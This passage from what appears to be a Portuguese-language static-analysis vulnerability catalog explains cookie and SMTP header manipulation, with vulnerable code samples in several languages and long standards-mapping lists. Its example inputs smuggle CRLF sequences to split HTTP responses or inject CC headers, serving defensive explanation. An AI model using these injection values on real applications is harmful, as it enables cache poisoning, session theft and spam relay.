[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.scala.header_manipulation_cookies
Abstract
A inclusão de dados não validados em Cookies pode resultar na manipulação de cabeçalho de Respostas HTTP, além de permitir ataques como envenenamento de cache, Cross-Site Scripting, desfiguração entre usuários, sequestro de páginas, manipulação de cookies ou redirecionamento aberto.
Explanation
Vulnerabilidades de Manipulação de Cookie ocorrem quando:

1. Dados entram em um aplicativo Web através de uma fonte não confiável, mais frequentemente uma solicitação HTTP.

2. Os dados são incluídos em um cookie HTTP enviado para um usuário da Web sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a manipulação de cookie é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cookie HTTP.

Manipulação de Cookie: Em combinação com ataques, como falsificação de solicitações entre sites, os invasores podem alterar, adicionar ou até mesmo substituir os cookies de um usuário legítimo.

Sendo cabeçalhos de Resposta HTTP, ataques de manipulação de cookie também podem resultar em outros tipos de ataques, como:

Divisão de Respostas HTTP:
Um dos ataques mais comuns de Manipulação de Cabeçalho é a Divisão de Respostas HTTP. Para montar uma exploração bem-sucedida de Divisão de Respostas HTTP, o aplicativo deve permitir entradas que contenham caracteres de CR (retorno de carro, também especificado por %0d ou \r) e LF (avanço de linha, também especificado por %0a ou \n) no cabeçalho. Esses caracteres não só dão controle aos invasores sobre os cabeçalhos restantes e o corpo da resposta que o aplicativo pretende enviar, como também lhes permite criar respostas adicionais totalmente sob seu controle.

Muitos dos modernos servidores de aplicativos de hoje impedirão a injeção de caracteres mal-intencionados em cabeçalhos HTTP. Por exemplo, versões recentes do Apache Tomcat lançarão uma IllegalArgumentException se você tentar definir um cabeçalho com caracteres proibidos. Se o seu servidor de aplicativos impede a definição de cabeçalhos com caracteres de nova linha, seu aplicativo não é vulnerável à Divisão de Respostas HTTP. No entanto, uma simples filtragem em busca de caracteres de nova linha pode deixar um aplicativo vulnerável à Manipulação de Cookie ou a Redirecionamentos Abertos e, por isso, ainda é necessário ter cautela ao definir cabeçalhos HTTP com entradas do usuário.

Exemplo: O segmento de código a seguir lê o nome do autor de uma entrada de blog, author, a partir de uma solicitação HTTP e o define em um cabeçalho de cookie de uma resposta HTTP.


...
author = Request.Form(AUTHOR_PARAM)
Response.Cookies("author") = author
Response.Cookies("author").Expires = cookieExpiration
...


Supondo que uma string formada por caracteres alfanuméricos padrão, como "Jane Smith", seja enviada na solicitação, a resposta HTTP que inclui esse cookie pode assumir o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para AUTHOR_PARAM não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", a resposta HTTP será dividida em duas respostas com o seguinte formato:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Claramente, a segunda resposta é completamente controlada pelo invasor e pode ser construída com qualquer conteúdo de cabeçalho e corpo desejado. A capacidade do invasor de construir respostas HTTP arbitrárias permite uma grande variedade de ataques resultantes, entre eles: desfiguração entre usuários, envenenamento de cache da Web e do navegador, Cross-Site Scripting e sequestro de páginas.

Desfiguração entre Usuários: Um invasor poderá fazer uma única solicitação a um servidor vulnerável, fazendo com que esse servidor crie duas respostas. A segunda pode ser interpretada como uma resposta a uma solicitação diferente, possivelmente feita por outro usuário que compartilha a mesma conexão TCP com o servidor. Isso pode ser feito, convencendo o usuário a enviar a solicitação mal-intencionada por conta própria ou remotamente em situações nas quais o invasor e o usuário compartilham uma conexão TCP comum com o servidor, como um servidor proxy compartilhado. Na melhor das hipóteses, um invasor pode aproveitar essa habilidade para convencer os usuários de que o aplicativo foi invadido, fazendo com que eles percam a confiança na segurança deste último. Na pior das hipóteses, um invasor pode fornecer um conteúdo especialmente elaborado, projetado para imitar o comportamento do aplicativo, mas redirecionar informações privadas, como números de contas e senhas, de volta para ele.

Envenenamento de Cache: O impacto de uma resposta construída de maneira mal-intencionada pode ser ampliado quando ela é armazenada em cache por um cache de Web utilizado por vários usuários ou até mesmo pelo cache do navegador de um único usuário. Se uma resposta for armazenada em um cache da Web compartilhado, como aqueles comumente encontrados em servidores proxy, todos os usuários desse cache continuarão a receber o conteúdo mal-intencionado até que a entrada do cache seja removida. Da mesma forma, se a resposta for armazenada em cache no navegador de um usuário individual, esse usuário continuará a receber o conteúdo mal-intencionado até que a entrada do cache seja removida, embora nesse caso somente o usuário da instância local do navegador seja afetado.

Cross-Site Scripting: Depois que os invasores controlam as respostas enviadas por um aplicativo, eles podem escolher dentre grande variedade de conteúdo mal-intencionado para fornecer aos usuários. Cross-Site Scripting é uma forma comum de ataque em que JavaScript mal-intencionado ou outro código incluído em uma resposta é executado no navegador do usuário. A variedade de ataques com base em XSS é quase ilimitada, mas costuma incluir a transmissão de dados privados, como cookies ou outras informações de sessão, para o invasor, o redirecionamento da vítima para um conteúdo web controlado pelo invasor ou a realização de outras operações mal-intencionadas na máquina do usuário, sob a aparência do site vulnerável. O vetor de ataque mais comum e perigoso contra os usuários de um aplicativo vulnerável usa JavaScript para transmitir informações de sessão e autenticação de volta ao invasor, que pode em seguida assumir o controle total sobre a conta da vítima.

Sequestro de Páginas: Além de usar um aplicativo vulnerável para enviar conteúdo mal-intencionado a um usuário, a mesma vulnerabilidade raiz também pode ser aproveitada para redirecionar ao invasor o conteúdo confidencial gerado pelo servidor e destinado ao usuário. Ao enviar uma solicitação que resulta em duas respostas, isto é, a resposta pretendida do servidor e a resposta gerada pelo invasor, esse invasor pode fazer com que um nó intermediário, como um servidor proxy compartilhado, oriente incorretamente ao invasor uma resposta gerada pelo servidor para o usuário. Como a solicitação feita pelo invasor gera duas respostas, a primeira é interpretada como uma resposta à solicitação do invasor, enquanto a segunda permanece no limbo. Quando o usuário faz uma solicitação legítima através da mesma conexão TCP, a solicitação do invasor já está aguardando e é interpretada como uma resposta à solicitação da vítima. Em seguida, o invasor envia uma segunda solicitação para o servidor, à qual o servidor proxy responde com a solicitação gerada pelo servidor para a vítima, comprometendo assim qualquer informação confidencial nos cabeçalhos ou no corpo da resposta destinada à vítima.

Redirecionamento Aberto: Permitir que uma entrada não validada controle a URL usada em um redirecionamento pode auxiliar ataques de phishing.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.vb.header_manipulation_cookies
Abstract
Incluir dados não validados em um cabeçalho SMTP pode permitir que invasores adicionem cabeçalhos arbitrários, como CC ou BCC, que eles podem usar para vazar o conteúdo do e-mail para eles mesmos ou usar o servidor de correio como um bot de spam.
Explanation
As vulnerabilidades de SMTP Header Manipulation ocorrem quando:

1. Os dados entram em um aplicativo por meio de uma fonte não confiável, mais frequentemente, uma solicitação HTTP em um aplicativo Web.

2. Os dados são incluídos em um cabeçalho SMTP enviado a um servidor de correio sem validação.

Como acontece com muitas vulnerabilidades de segurança de software, SMTP Header Manipulation é um meio para um fim, não um fim por si só. Em sua raiz, a vulnerabilidade é direta: um invasor passa dados mal-intencionados para um aplicativo vulnerável e o aplicativo inclui os dados em um cabeçalho SMTP.

Um dos ataques de SMTP Header Manipulation mais comuns é distribuir e-mails de spam. Se um aplicativo contiver um formulário vulnerável "Fale conosco" que permite definir o assunto e o corpo do e-mail, um invasor poderá definir qualquer conteúdo arbitrário e injetar um cabeçalho CC com uma lista de endereços de e-mail para distribuição anônima como spam, já que o e-mail será enviado a partir do servidor da vítima.

Exemplo: O seguinte segmento de código lê o assunto e o corpo de um formulário "Fale conosco":


func handler(w http.ResponseWriter, r *http.Request) {
subject := r.FormValue("subject")
body := r.FormValue("body")
auth := smtp.PlainAuth("identity", "user@example.com", "password", "mail.example.com")
to := []string{"recipient@example.net"}
msg := []byte("To: " + recipient1 + "\r\n" + subject + "\r\n" + body + "\r\n")
err := smtp.SendMail("mail.example.com:25", auth, "sender@example.org", to, msg)
if err != nil {
log.Fatal(err)
}
}


Supondo que uma string formada por caracteres alfanuméricos padrão, como "A página não funciona", seja enviada na solicitação, os cabeçalhos SMTP podem assumir o seguinte formato:


...
subject: [Contact us query] Page not working
...


No entanto, como o valor do cookie é formado por uma entrada de usuário não validada, a resposta só manterá esse formato se o valor enviado para subject não contiver caracteres de CR e LF. Se um invasor enviar uma string mal-intencionada, como "Parabéns!! Você ganhou na loteria!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", os cabeçalhos SMTP serão:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


De fato, isso permite que um invasor crie mensagens de spam ou envie e-mails anônimos entre outros ataques.
References
[1] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[2] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 93
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[10] Standards Mapping - FIPS200 SI
[11] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[14] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[15] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[16] Standards Mapping - OWASP Top 10 2010 A1 Injection
[17] Standards Mapping - OWASP Top 10 2013 A1 Injection
[18] Standards Mapping - OWASP Top 10 2017 A1 Injection
[19] Standards Mapping - OWASP Top 10 2021 A03 Injection
[20] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[21] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.golang.header_manipulation_smtp
Abstract
A inclusão de dados não validados em um cabeçalho SMTP pode permitir que invasores adicionem cabeçalhos arbitrários, como CC ou BCC, que eles podem usar para deixar vazar o conteúdo de e-mails para si ou que podem usar o servidor de e-mail como um robô de spam.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho SMTP ocorrem quando:

1. Dados entram em um aplicativo através de uma fonte não confiável, mais frequentemente uma solicitação HTTP em um aplicativo Web.

2. Os dados são incluídos em um cabeçalho SMTP enviado para um servidor de e-mail sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho SMTP é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho SMTP.

Um dos ataques mais comuns de Manipulação de Cabeçalho SMTP é usado para distribuir emails de spam. Se um aplicativo contiver um formulário vulnerável "Fale conosco" que permite definir o assunto e o corpo do e-mail, um invasor poderá definir qualquer conteúdo arbitrário e injetar um cabeçalho CC com uma lista de endereços de e-mail para distribuição anônima como spam, já que o e-mail será enviado a partir do servidor da vítima.

Exemplo: O segmento de código a seguir lê o assunto e o corpo de um formulário "Fale conosco":


String subject = request.getParameter("subject");
String body = request.getParameter("body");
MimeMessage message = new MimeMessage(session);
message.setFrom(new InternetAddress("webform@acme.com"));
message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("support@acme.com"));
message.setSubject("[Contact us query] " + subject);
message.setText(body);
Transport.send(message);


Supondo que uma string formada por caracteres alfanuméricos padrão, como "A página não funciona", seja enviada na solicitação, os cabeçalhos SMTP podem assumir o seguinte formato:


...
subject: [Contact us query] Page not working
...


No entanto, como o valor do cabeçalho é construído a partir de uma entrada de usuário não validada, a resposta apenas manterá esse formato se o valor enviado para subject não contiver caracteres de CR e LF. Se um invasor enviasse uma string mal-intencionada, como "Parabéns!!! Você ganhou na loteria!!!\r\ncc:victim1@mail.com,victim2@mail.com ...", os cabeçalhos SMTP teriam o seguinte formato:


...
subject: [Contact us query] Congratulations!! You won the lottery
cc: victim1@mail.com,victim2@mail.com
...


Isso permitirá efetivamente que um invasor elabore mensagens de spam ou envie e-mails anônimos entre outros ataques.
References
[1] OWASP Testing for IMAP/SMTP Injection (OTG-INPVAL-011)
[2] Vicente Aguilera Díaz MX Injection: Capturing and Exploiting Hidden Mail Servers
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.1
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Cloud Computing Platform Benchmark partial
[8] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[9] Standards Mapping - CIS Kubernetes Benchmark complete
[10] Standards Mapping - Common Weakness Enumeration CWE ID 93
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[23] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Web Application Security Consortium Version 2.00 Abuse of Functionality (WASC-42)
desc.dataflow.java.header_manipulation_smtp
Abstract
A inclusão de dados não validados em um cabeçalho SMTP pode permitir que invasores adicionem cabeçalhos arbitrários, como CC ou BCC, que eles podem usar para deixar vazar o conteúdo de e-mails para si ou que podem usar o servidor de e-mail como um robô de spam.
Explanation
Vulnerabilidades de Manipulação de Cabeçalho SMTP ocorrem quando:

1. Dados entram em um aplicativo através de uma fonte não confiável, mais frequentemente uma solicitação HTTP em um aplicativo Web.

2. Os dados são incluídos em um cabeçalho SMTP enviado para um servidor de e-mail sem ser validado.

Tal como acontece com muitas vulnerabilidades de segurança de software, a Manipulação de Cabeçalho SMTP é um meio para um fim, e não um fim em si mesma. Em sua raiz, a vulnerabilidade é simples e direta: um invasor transmite dados mal-intencionados a um aplicativo vulnerável, e esse aplicativo inclui os dados em um cabeçalho SMTP.

Um dos ataques mais comuns de Manipulação de cabeçalho SMTP é para o uso da distribuição de e-mails de spam. Se um aplicativo contiver um formulário vulnerável "Fale conosco" que permite definir o assunto e o corpo do e-mail, um invasor poderá definir qualquer conteúdo arbitrário e injetar um cabeçalho CC com uma lista de endereços de e-mail para distribuição anônima como spam, já que o e-mail será enviado a partir do servidor da vítima.

Exemplo: O segmento de código a seguir lê o assunto e o corpo de um formulário "Fale conosco":


$subject = $_GET['subject'];
$body = $_GET['body'];
mail("support@acme.com", "[Contact us query] " . $subject, $body);


Supondo que uma string formada por caracteres alfanuméricos padrão, como "A página não funciona", seja enviada na solicitação, os cabeçalhos SMTP podem assumir o seguinte formato:


...
subject: [Contact us query] Page not working
...


